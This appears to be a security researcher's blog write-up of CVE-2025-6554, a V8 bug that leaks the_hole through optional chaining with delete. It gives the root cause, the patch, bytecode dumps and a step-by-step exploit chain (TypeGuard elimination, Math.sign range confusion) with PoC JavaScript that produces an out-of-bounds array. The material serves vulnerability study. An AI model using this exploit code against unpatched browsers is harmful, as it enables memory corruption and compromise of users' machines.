CVE-2025-6554: The (rabbit) Hole

2025-10-07

In June 2025, Google’s TAG (Clement Lecigne, @_clem1) discovered an in-the-wild exploit that took advantage of a very famous primitive in V8 and attracted a lot of attention, another the_hole leak with a new exploitation technique. The bug itself is very interesting and touches on various areas and concepts within V8. This post will just be an analysis of this bug, but all credit goes to @mistymntncop and their writeup, who performed the analysis and wrote the PoCs that I am using here as the main reference.

Previous the_hole Exploitation Techniques

The the_hole object has been a recurring exploitation primitive in V8, with attackers discovering multiple ways to leak it into JavaScript and leverage it for memory corruption. Before CVE-2025-6554, there were at least two notable in-the-wild exploits using the_hole:

CVE-2022-1364: Escape Analysis Bypass

This technique exploited an omission in V8’s escape analysis implementation. The vulnerability stemmed from the non-standard getThis API not being properly tracked during node escape analysis, allowing the_hole to leak into JavaScript.

Once leaked, we can manipulated Map objects by exploiting the_hole’s memory layout:

function getmap(m) {
    m = new Map();
    m.set(1, 1);
    m.set(%TheHole(), 1);
    m.delete(%TheHole());
    m.delete(%TheHole());
    m.delete(1);
    return m;

CVE-2023-2033: Turbofan Typer Confusion

@mistymntncop’s CVE-2023-2033 exploit discovered a weakness in Turbofan’s Typer where the_hole was accidentally treated like other Oddball objects, allowing operations like ToNumber that could result in NaN. This accidental behavior enabled type confusion in the JIT compiler:

function weak_fake_obj(b, addr=1.1) {
    if(b) {
        let index = Number(b ? the.hole : -1);
        index |= 0;
        index += 1;
...

CVE-2025-6554

CVE-2025-6554 represents a different attack vector. Unlike the previous exploits that targeted escape analysis or Typer behavior, this vulnerability exploits a scope lifetime management bug in Ignition’s bytecode generator, specifically around TDZ hole check elision optimization. The post-leak exploitation technique is also novel, using TypeGuard elimination in TurboFan’s LoadElimination phase to bypass type checks and create an array with an invalid length.

The Root Cause

The vulnerability originated from a scope lifetime management bug in V8’s Ignition bytecode generator, specifically in how it tracked TDZ hole check elision optimizations across optional chaining control flow boundaries.

V8’s Temporal Dead Zone (TDZ)

JavaScript’s let and const declarations create a Temporal Dead Zone where variables exist in scope but cannot be accessed before their declaration:

console.log(x); // ReferenceError: Cannot access 'x' before initialization
let x = 5;

V8 internally marks uninitialized variables with a special sentinel value called the_hole. Before each access to a TDZ variable, V8 emits a ThrowReferenceErrorIfHole bytecode instruction. In June 2023, V8 enabled an optimization to eliminate redundant TDZ checks within the same basic block using a bitmap tracking mechanism (BytecodeGenerator::hole_check_bitmap_).

The issue

The bug occurred when optional chaining’s short-circuit behavior interacted with TDZ hole check elision. The HoleCheckElisionScope class managed bitmap state using RAII (Resource Acquisition Is Initialization), saving bitmap state on construction and restoring it on destruction.

But the scope was in the wrong place:

void BytecodeGenerator::BuildOptionalChain(ExpressionFunc expression_func) {
  BytecodeLabel done;
  OptionalChainNullLabelScope label_scope(this);
  HoleCheckElisionScope elider(this); // <- the patch removed this
  expression_func();
  builder()->Jump(&done);
  label_scope.labels()->Bind(builder());
  builder()->LoadUndefined();
  builder()->Bind(&done);
}

When optional chaining evaluates to null or undefined, it short-circuits via JumpIfUndefinedOrNull. The right-hand side never executes at runtime. But during bytecode generation, the generator still walks through the entire AST, including code that will never run. If that dead code accesses a TDZ variable, the bitmap gets marked as “checked”, even though the check never actually happens at runtime.

PoC

Minimal trigger:

function leak_hole() {
  let x;
  delete x?.[y]?.a;
  return y;
  let y;
}

The delete operator is necessary for this bug, but not to generate the_hole (as I thought when I first saw this PoC). First, let’s look at the different code paths that optional chaining can take depending on the context:

Path 1: Regular optional chain (x?.[y]?.a)

Path 2: Delete with optional chain (delete x?.[y]?.a)

Here’s the asymmetry in the unpatched code:

// Path 1: BuildOptionalChain
void BytecodeGenerator::BuildOptionalChain(ExpressionFunc expression_func) {
  BytecodeLabel done;
  OptionalChainNullLabelScope label_scope(this);
  HoleCheckElisionScope elider(this);  // <- Has scope as local variable
  expression_func();
  builder()->Jump(&done);
  label_scope.labels()->Bind(builder());
  builder()->LoadUndefined();
  builder()->Bind(&done);
}

// Path 2: VisitDelete
void BytecodeGenerator::VisitDelete(UnaryOperation* unary) {
  // ...
  } else if (expr->IsOptionalChain()) {
    Expression* expr_inner = expr->AsOptionalChain()->expression();
    if (expr_inner->IsProperty()) {
      Property* property = expr_inner->AsProperty();
      BytecodeLabel done;
      OptionalChainNullLabelScope label_scope(this);  // <- no HoleCheckElisionScope
      VisitForAccumulatorValue(property->obj());
      // ...

We can verify this with bytecode comparison. Without delete (x?.[y]?.a):

26 Ldar r1                                ; Load y for return
28 ThrowReferenceErrorIfHole [0]          ; check is present
30 Return                                 ; Return y

With delete (delete x?.[y]?.a):

26 Ldar r1                                ; Load y for return
28 Return                                 ; check is missing and the_hole leaks!

The fix embeds HoleCheckElisionScope as a member of OptionalChainNullLabelScope, making both paths work correctly:

class OptionalChainNullLabelScope {
 public:
  explicit OptionalChainNullLabelScope(BytecodeGenerator* bytecode_generator)
      : bytecode_generator_(bytecode_generator),
        labels_(bytecode_generator->zone()),
        hole_check_scope_(bytecode_generator) {  // <- now a member
    ...
  }

 private:
  HoleCheckElisionScope hole_check_scope_;  // <- tied to scope lifetime
};

Now any code creating OptionalChainNullLabelScope (both BuildOptionalChain and VisitDelete) automatically gets the proper bitmap isolation.


Continuing to understand how V8 processes and reach the bug conditions, here’s the AST for the vulnerable expression:

// ./out/x64.debug/d8 --allow-natives-syntax --print-ast /tmp/poc.js
[generating bytecode for function: leak_hole]
...
EXPRESSION STATEMENT
└── kDelete
    └── OPTIONAL_CHAIN
        └── PROPERTY (x?.[y]?.a)              <- Outer property
            ├── PROPERTY (x?.[y])             <- Inner property (this is property->obj())
            │   ├── VAR PROXY "x"             <- Object
            │   └── KEY
            │       └── VAR PROXY "y"         <- Key (TDZ variable!)
            └── NAME "a"                       <- Outer property name

When VisitDelete processes this:

  1. It extracts the outer property x?.[y]?.a
  2. Calls VisitForAccumulatorValue(property->obj()) where obj = x?.[y]
  3. To evaluate x?.[y], V8 must load y (the TDZ variable)
  4. This triggers a hole check and marks the bitmap
  5. But no HoleCheckElisionScope wraps step 2!

We can also take a look at the bytecode, here is the bytecode that V8 generates for leak_hole():

// ./out/x64.debug/d8 --allow-natives-syntax --print-bytecode /tmp/poc.js
 0 LdaTheHole                             ; Load the_hole -> accumulator
 1 Star1                                  ; y = the_hole
 2 LdaUndefined                           ; Load undefined -> accumulator
 3 Star0                                  ; x = undefined
 4 Mov r0, r2                             ; Copy x to r2
 7 JumpIfUndefinedOrNull [18] (->25)      ; If x is null/undefined, jump to 25
                                          ; (short-circuit happens here)
 9 Ldar r1                                ; Load y -> accumulator
11 ThrowReferenceErrorIfHole [0]          ; Check if y is the_hole (skipped)
13 GetKeyedProperty r2, [0]               ; x[y]
16 JumpIfUndefinedOrNull [9] (->25)       ; If x[y] is null/undefined, jump
18 Star2                                  ; Store result
19 LdaConstant [1]                        ; Load 'a'
21 DeletePropertySloppy r2                ; Delete property
23 Jump [3] (->26)
25 LdaTrue                                ; Load true (from short-circuit)
26 Ldar r1                                ; Load y for return
28 Return                                 ; Return y (no hole check!)

Key observations:

In the patched version, a ThrowReferenceErrorIfHole instruction is added after offset 26:

26 Ldar r1                                ; Load y for return
28 ThrowReferenceErrorIfHole [0]          ; check added by patch
30 Return                                 ; Return y

Now that we’ve seen the bytecode, let’s trace the complete corruption sequence:

Compile-time (during bytecode generation):
1. VisitDelete processes: delete x?.[y]?.a
2. Creates OptionalChainNullLabelScope
3. Calls VisitForAccumulatorValue(property->obj()) where obj = x?.[y]
   - To evaluate x?.[y], needs to load y as the key (bytecode offset 9)
   - Loading y triggers BuildThrowIfHole
   - Emits ThrowReferenceErrorIfHole at offset 11, marks bitmap
   - But NO HoleCheckElisionScope wraps this evaluation
4. Bitmap modification leaks outside the optional chain scope
5. Later, generating return statement bytecode (offset 26-28)
6. Sees bitmap bit set, assumes 'y' was already checked
7. Skips emitting ThrowReferenceErrorIfHole for the return (offset 28 missing)

Runtime:
1. Execute bytecode offset 0-4: Initialize x=undefined, y=the_hole
2. Offset 7: JumpIfUndefinedOrNull -> short-circuit to offset 25
3. Offset 11: ThrowReferenceErrorIfHole never executes (jumped over)
4. Offset 25-26: Load y (still contains the_hole)
5. Offset 28: Missing ThrowReferenceErrorIfHole in unpatched version
6. the_hole leaks into JavaScript
$ cat /tmp/poc.js
function leak_hole() {
  let x;
  delete x?.[y]?.a;
  return y;
  let y;
}
print(leak_hole());
$ ./out/x64.debug/d8 /tmp/poc.js


#
# Fatal error in ../../src/api/api.cc, line 807
# Debug check failed: !IsTheHole(heap_object).
#
#
#
#FailureMessage Object: 0x7ffc705cee28
==== C stack trace ===============================
...

From Hole to Exploit

The leaked the_hole object enables a sophisticated and very interesting type confusion attack in TurboFan’s compiler. This technique was documented by @mistymntncop, based on the in-the-wild exploit, so all the credits for this guys :D.

Step 1: Type Confusion via the_hole.length

The the_hole object has an unusual property: at offset +8 (where strings store their length), it contains the value 0xfff7ffff (-524289). This creates a type confusion opportunity:

$ cat /tmp/a.js
%DebugPrint("some string");
%DebugPrint(%TheHole());
%SystemBreak();

$ gdb-pwndbg --args ./out/x64.release/d8 --allow-natives-syntax /tmp/a.js
DebugPrint: 0x11000005d421: [String] in OldSpace: #some string
0x110000000155: [Map] in ReadOnlySpace
 - map: 0x110000000475 <MetaMap (0x11000000002d <null>)>
 - type: INTERNALIZED_ONE_BYTE_STRING_TYPE
 - instance size: variable
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - non-extensible
 - back pointer: 0x110000000011 <undefined>
 - prototype_validity_cell: 0
 - instance descriptors (own) #0: 0x1100000007f1 <DescriptorArray[0]>
 - prototype: 0x11000000002d <null>
 - constructor: 0x11000000002d <null>
 - dependent code: 0x1100000007cd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

DebugPrint: 0x1100000007d9: [Hole] in ReadOnlySpace
  <the_hole_value>
0x110000000745: [Map] in ReadOnlySpace
 - map: 0x110000000475 <MetaMap (0x11000000002d <null>)>
 - type: HOLE_TYPE
 - instance size: 12
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - non-extensible
 - back pointer: 0x110000000011 <undefined>
 - prototype_validity_cell: 0
 - instance descriptors (own) #0: 0x1100000007f1 <DescriptorArray[0]>
 - prototype: 0x11000000002d <null>
 - constructor: 0x11000000002d <null>
 - dependent code: 0x1100000007cd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0


Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x00005555580d0c55 in v8::base::OS::DebugBreak() ()
...
pwndbg> x/10wx 0x11000005d421-1 # string object
0x11000005d420:  0x00000155  0x4f97c2ba  0x0000000b  0x656d6f73
                      ^ map      ^ hash       ^ len
0x11000005d430:  0x72747320  0x00676e69  0x00000155  0x272231aa
0x11000005d440:  0x00000007  0x48656854
pwndbg> x/10wx 0x1100000007d9-1
0x1100000007d8:  0x00000745  0xfff7ffff  0xfff7ffff  0x00000795
                      ^ map        ^ ??        ^ ??
0x1100000007e8:  0x000007bd  0x000007bd  0x0000071d  0x00000000
0x1100000007f8:  0x00000000  0x00000000
function hax(trigger) {
  // Leak the_hole using the TDZ bug
  let x;
  delete x?.[y]?.a;
  let hole = y;
  let y;

  // Create a property that can be either the_hole or a string
  let o = {};
  o.maybe_hole = trigger ? hole : "not the hole";

  // Access the length property
  let len = o.maybe_hole.length;
  // inferred: (0, 535870888)
  // actual:   (-524289, 535870888) when trigger=true
}

During TurboFan’s optimization, the training phase (trigger=false) allows TurboFan to observe that o.maybe_hole is always a string, leading to optimization that generates optimized code assuming .length is always positive.

Step 2: Removing the Type Check

How we can preventing deoptimization when the_hole is passed? For o.maybe_hole.length, the compiler initially generates:

  1. LoadField node: Loads o.maybe_hole
  2. CheckString node: Verifies the loaded value is a string, deoptimizes if not
  3. StringLength node: Reads the length field at offset +8

We need CheckString to be removed. This will happen through optimization phases:

LoadEliminationPhase - runs multiple reducers in a single GraphReducer pass:

Turboshaft BuildGraph phase (turboshaft::GraphBuilder::Process):

Result: StringLength reads directly from the Phi which can contain the_hole at runtime, returning -524289 without any type check.

Why is TypeGuard elimination normally safe?

The TypeGuard’s type is the intersection of what the compiler expects and what was observed during profiling. When TypeGuard is eliminated, this type information remains attached to the SSA value. Subsequent optimizations trust this type.

If you tried to pass a regular object (not String):

Why does the_hole bypass this safety mechanism?

The vulnerability occurs because of how LoadElimination decides whether to create a TypeGuard. The critical code is at load-elimination.cc:1023-1024:

// Introduce a TypeGuard if the type of the {replacement} node is not
// a subtype of the original {node}'s type.
if (!NodeProperties::GetType(replacement)
         .Is(NodeProperties::GetType(node))) {
  Type replacement_type = Type::Intersect(
      NodeProperties::GetType(node),
      NodeProperties::GetType(replacement), graph()->zone());
  replacement = effect =
      graph()->NewNode(common()->TypeGuard(replacement_type),
                       replacement, effect, control);
  NodeProperties::SetType(replacement, replacement_type);
}

LoadElimination finds that o.maybe_hole was stored (StoreField) and can be reused when loading (LoadField). It checks:

V8’s type hierarchy from turbofan-types.h:

// Type bitset definitions
V(Hole,                     uint64_t{1} << 33)   // bit 33 - STANDALONE
V(Array,                    uint64_t{1} << 25)   // bit 25
V(OtherString,              uint64_t{1} << 5)    // bit 5
V(InternalizedString,       uint64_t{1} << 14)   // bit 14
V(String,                   kInternalizedString | kOtherString)  // bits 5|14

// Type hierarchy
V(DetectableObject,         kArray | kFunction | ...)
V(Object,                   kDetectableObject | kOtherUndetectable)
V(Receiver,                 kObject | kProxy | kWasmObject)
V(Primitive,                kBigInt | kNonBigIntPrimitive)
V(NonInternal,              kPrimitive | kReceiver)  // The target type

Type hierarchy relationships:

Type hierarchy relationships

For a union to be a subtype, ALL members must be subtypes:

The exploitation flow:

  1. LoadElimination sees (Hole | String).Is(NonInternal) = false
  2. Creates TypeGuard with Type::Intersect(NonInternal, (Hole | String))
  3. Type::Intersect filters out Hole (bitwise AND = 0), keeps String
  4. TypeGuard gets type String, CheckString is eliminated
  5. Turboshaft eliminates TypeGuard entirely (no runtime check)
  6. At runtime, the_hole flows through unchecked
  7. StringLength reads offset +8 from the_hole = -524289

Why can’t you use Array instead of Hole?

If you try o.value = trigger ? [1,2,3] : "string":

We can see this assumptions at runtime with this test:

function test_hole(trigger) {
  let x;
  delete x?.[y]?.a;
  let hole = y;
  let y;
  let o = {};
  o.val = trigger ? hole : "string";
  return o.val.length;
}

function test_array(trigger) {
  let o = {};
  o.val = trigger ? [1, 2, 3] : "string";
  return o.val.length;
}

%PrepareFunctionForOptimization(test_hole);
%PrepareFunctionForOptimization(test_array);
for (let i = 0; i < 10; i++) {
  test_hole(false);
  test_array(false);
}
%OptimizeFunctionOnNextCall(test_hole);
%OptimizeFunctionOnNextCall(test_array);

print(test_hole(true)); // prints -524289, no deoptimization
print(test_array(true)); // prints 3, but deoptimizes

Running with d8 --allow-natives-syntax --trace-deopt:

Both (bit 33) & (bits 5|14) = 0 and (bit 25) & (bits 5|14) = 0, but only the_hole bypasses checks because it’s outside the type hierarchy that LoadElimination checks with .Is(NonInternal).

Step 3: Range Confusion with Math.sign()

We use Math.sign() to create divergent behavior between inferred and actual ranges:

let len = o.maybe_hole.length; // infer: (0, 535870888), actual: (-524289, 535870888)
let sign = Math.sign(len); // infer: (0, 1),         actual: (-1, 1)

During training, len is always positive, so Math.sign(len) is always 1. TurboFan’s Typer phase infers sign ∈ (0, 1). But when the_hole is passed, sign = -1, which is outside the inferred range!

TurboFan Pipeline with Type Confusion:

Step 1: Type Feedback (Ignition)
+-----------------------------------------------+
|     o.maybe_hole = "string"                   |
|  -> o.maybe_hole is String                    |
|  -> length in [0, 535870888]                  |
|  -> Math.sign(length) = 1                     |
+------------------+----------------------------+
                   |
                   v
Step 2: Optimization (TurboFan Typer)
+-----------------------------------------------+
| Node: LoadField(o, "maybe_hole") -> String    |
| Node: StringLength              -> Range(0+)  |
| Node: Math.sign(length)         -> Range(1)   |
+------------------+----------------------------+
                   |
                   v
Step 3: Exploitation
+-----------------------------------------------+
| o.maybe_hole = the_hole                       |
|  -> the_hole.length = -524289                 |
|  -> Math.sign(-524289) = -1                   |
+-----------------------------------------------+

Step 4: Crafting a Confused Index

We chain arithmetic operations to amplify the confusion:

let i1 = 2 - (sign + 1);      // infer: (0, 1),     actual: (0, 2)
let i2 = (5 - (i1 + 4)) >> 1; // infer: (0, 0),     actual: (-1, 0)
let i3 = 1 * i2 + 1;          // infer: (1, 1),     actual: (0, 1)
let i4 = i3 * 100;            // infer: (100, 100), actual: (0, 100)

Training execution (when sign = 1):

i1 = 2 - (1 + 1)      = 0
i2 = 5 - (0 + 4) >> 1 = 0
i3 = 1 * 0 + 1        = 1
i4 = 1 * 100          = 100

Exploitation execution (when sign = -1):

i1 = 2 - (-1 + 1)     = 2
i2 = 5 - (2 + 4) >> 1 = -1
i3 = 1 * -1 + 1       = 0
i4 = 0 * 100          = 0

The key: TurboFan infers i4 = 100 (constant), but at runtime i4 = 0.

Step 5: Array Bounds Corruption

Now we use i4 to corrupt an array:

let arr = new Array(8); // Capacity: 8 elements
arr[0] = 13.37; // Convert to HOLEY_DOUBLE_ELEMENTS
arr[i4] = 13.37; // TurboFan thinks i4=100, actually i4=0
return arr;

During TurboFan’s Inlining phase, it generates:

  1. MaybeGrowFastElements: Checks if i4 < capacity(8)
  2. Length update: arr.length = i4 + 1

Since TurboFan believes i4 = 100 (constant), the ConstantFoldingReducer optimizes the length update to:

arr.length = 101  // Hardcoded constant!

During Turboshaft’s MachineLowering phase, the generated code becomes:

if (i4 < 8) {
    // Don't grow the array
} else {
    // Grow the array to fit i4
}
// always update length to 101
arr.length = 101;

At runtime with i4 = 0:

Result: Corrupted array with length=101 but capacity=8

$ ./out/x64.release/d8 --allow-natives-syntax exploit.js
DebugPrint: 0x29720009116d: [JSArray]  # Normal (trigger=false)
 - length: 101
 - elements: 0x2972000911f5 <FixedDoubleArray[167]>  # Capacity extended to 167

DebugPrint: 0x2972000918b9: [JSArray]  # Corrupted (trigger=true)
 - length: 101                                       # <- Claims 101 elements
 - elements: 0x297200091871 <FixedDoubleArray[8]>   # <- Only has 8!

The corrupted array now has out-of-bounds (OOB) access: reading arr[8] through arr[100] accesses adjacent heap memory, enabling arbitrary read/write primitives.

V8 Heap Corruption:

Before:                              After (Corrupted):

+---------------------+            +---------------------+
| JSArray             |            | JSArray             |
+---------------------+            +---------------------+
| Map ptr             |            | Map ptr             |
| Properties          |            | Properties          |
| Elements ptr    ----+---+        | Elements ptr    ----+---+
| Length: 101         |   |        | Length: 101         |   |
+---------------------+   |        +---------------------+   |
                          |                                  |
                          v                                  v
        +---------------------------------+  +---------------------------------+
        | FixedDoubleArray[167]           |  | FixedDoubleArray[8]             |
        +---------------------------------+  +---------------------------------+
        | [0]: 13.37                      |  | [0]: 13.37                      |
        | [1-99]: the_hole_NaN            |  | [1-7]: the_hole_NaN             |
        | [100]: 13.37                    |  +---------------------------------+
        | [101-166]: the_hole_NaN         |              |
        +---------------------------------+              | arr[8-100] = OOB!
        Normal: capacity grown to 167                    v
                                            +---------------------------------+
                                            | Adjacent Object (victim)        |
                                            +---------------------------------+
                                            | Map ptr: 0x...01                |
                                            | Properties: 0x...02             |
                                            | .a = marker value               |
                                            | .b = marker value               |
                                            +---------------------------------+
                                                         |
                                                         | Read/write via
                                                         | corrupted[8-100]
                                                         v
                                            +---------------------------------+
                                            | Map ptr: 0xXXXX41414141         |
                                            | Properties: [corrupted]         |
                                            | Arbitrary R/W primitive         |
                                            +---------------------------------+

References

  1. Chromium Bug: https://issues.chromium.org/issues/427663123
  2. DarkNavy PoC: https://github.com/DarkNavySecurity/PoC/blob/main/CVE-2025-6554/
  3. @mistymntncop writeup: https://github.com/mistymntncop/CVE-2025-6554

If you’ve got questions, hit me up on Twitter.